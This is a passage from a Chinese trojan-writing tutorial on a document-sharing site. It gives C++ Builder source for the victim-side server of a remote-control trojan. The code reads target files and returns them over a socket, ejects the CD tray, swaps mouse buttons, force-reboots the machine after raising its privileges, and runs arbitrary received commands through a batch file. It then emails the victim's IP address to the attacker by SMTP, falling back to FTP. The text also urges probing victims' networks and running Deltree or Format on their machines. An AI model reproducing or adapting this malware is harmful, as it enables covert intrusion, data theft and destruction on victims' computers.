云题海 - 专业文章范例文档资料分享平台

当前位置:首页 > 木马编写教程学习木马编写的好资料

木马编写教程学习木马编写的好资料

  • 62 次阅读
  • 3 次下载
  • 2025/5/5 2:54:11

}

AnsiString Return_Text=\ char temp_content[300];

for(int i=0;i<300;i++) temp_content[i]=\\'\\\\0\\'; //定义一个空数组

Read_Num=fread(temp_content,1,300,fp); //从目标文件中读入前300个字符 while(Read_Num==300) {

Return_Text=Return_Text+temp_content; //Return_Text的内容加上刚才的字符

for(int i=0;i<300;i++) temp_content[i]=\\'\\\\0\\'; Read_Num=fread(temp_content,1,300,fp); //重复 };

Return_Text=Return_Text+temp_content; //Return_Text的内容加上刚才的字符 fclose(fp); //关闭目标文件

Socket->SendText(Return_Text);

//返回Return_Text的内容,即你查看文件的内容 } }

咳咳!累死了!还是来点轻松的吧——操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中): {

else if(temp==\) {

//如果收到的temp的内容是“open”

mciSendString(\, NULL, 0, NULL); //就弹出光驱的托盘 }

else if(temp==\) {

//如果收到的temp的内容是“close”

mciSendString(\, NULL, 0, NULL);

//就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^ } }

接着就是交换目标机的鼠标左右键,代码如下: {

else if(temp==\)

{

SwapMouseButton(1); //交换鼠标左右键,简单吧? } }

然后就是使目标机重新启动。但这里要区分WinNt和Win9x——NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限: {

else if(temp==\) {

//如果收到的temp的内容是“temp” DWORD dwVersion = GetVersion(); //得到操作系统的版本号 if (dwVersion < 0x80000000) {

//操作系统是WinNt,不是Win9x HANDLE hToken; TOKEN_PRIVILEGES tkp; //定义变量

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);

//OpenProcessToken()这个函数的作用是打开一个进程的访问令牌 //GetCurrentProcess()函数的作用是得到本进程的句柄

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); //LookupPrivilegeValue()的作用是修改进程的权限 tkp.PrivilegeCount = 1; //赋给本进程特权

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); //AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利 ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0); //强行退出WinNt并重启 }

else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0); //强行退出Win9x并重启 } }

如果以上都不是,就让它在Dos窗口中执行传来的命令: { else {

//如果都不是 char * CR_TF=\ times_of_try=0; while(fp==NULL) {

fp=fopen(TempFile,\); //创建Win369.bat,如果已存在就覆盖 times_of_try=times_of_try+1; //计数器加1 if(times_of_try>100) {

Socket->SendText(\); //返回“Fail By Open File”的信息 goto END; //跳到END } }

fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp); //写入欲执行的命令

fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp); //写入换行符 fclose(fp); //关闭Win369.bat system(TempFile); //执行Win369.bat

Socket->SendText(\); //返回“Success”信息 } }

你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。

到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)

上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^): { END:;

Socket-〉Close(); //关闭服务

ServerSocket1-〉Active =true; //再次打开服务

if (NMSMTP1-〉Connected) NMSMTP1-〉Disconnect(); //如果SMTP服务器已连接则断开 NMSMTP1-〉Host = \

//选一个好用的SMTP服务器,如163、263、sina和btamail NMSMTP1-〉UserID = \ //你SMTP的ID try {

NMSMTP1-〉Connect(); //再次连接 }

catch(...) {

goto NextTime; //跳到NextTime }

NMSMTP1-〉PostMessage-〉FromAddress =\ //受害者的Email地址

NMSMTP1-〉PostMessage-〉FromName = \ //受害者的名字

NMSMTP1-〉PostMessage-〉ToAddress-〉Text = \ //将信发到我的邮箱,这一步很关键

NMSMTP1-〉PostMessage-〉Body-〉Text = AnsiString(\) + NMSMTP1-〉LocalIP ; //信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接 NMSMTP1-〉PostMessage-〉Subject = \ //信的主题

NMSMTP1-〉SendMail(); //发送! return; //返回

NextTime:

NMFTP1-〉Host = \ //你的FTP服务器的地址 NMFTP1-〉UserID = \ //你的用户ID NMFTP1-〉Port = 21; //FTP端口号,一般为21 NMFTP1-〉Password = \ //你的FTP的密码

if(NMFTP1-〉Connected) NMFTP1-〉Disconnect(); //如果已连接就断开 try {

搜索更多关于: 木马编写教程学习木马编写的好资料 的文档
  • 收藏
  • 违规举报
  • 版权认领
下载文档10.00 元 加入VIP免费下载
推荐下载
本文作者:...

共分享92篇相关文档

文档简介:

} AnsiString Return_Text=\ char temp_content[300]; for(int i=0;i<300;i++) temp_content[i]=\\'\\\\0\\'; //定义一个空数组 Read_Num=fread(temp_content,1,300,fp); //从目标文件中读入前300个字符 while(Read_Num==300) { Return_Text=Return_Text+temp_content; //Return_Text的内容加上刚才的字符 for(int i=0;i<300;i++) temp_content[i]=\\'\\\\0\\'; Read_Num=fread(temp_

× 游客快捷下载通道(下载后可以自由复制和排版)
单篇付费下载
限时特价:10 元/份 原价:20元
VIP包月下载
特价:29 元/月 原价:99元
低至 0.3 元/份 每月下载150
全站内容免费自由复制
VIP包月下载
特价:29 元/月 原价:99元
低至 0.3 元/份 每月下载150
全站内容免费自由复制
注:下载文档有可能“只有目录或者内容不全”等情况,请下载之前注意辨别,如果您已付费且无法下载或内容有问题,请联系我们协助你处理。
微信:fanwen365 QQ:370150219
Copyright © 云题海 All Rights Reserved. 苏ICP备16052595号-3 网站地图 客服QQ:370150219 邮箱:370150219@qq.com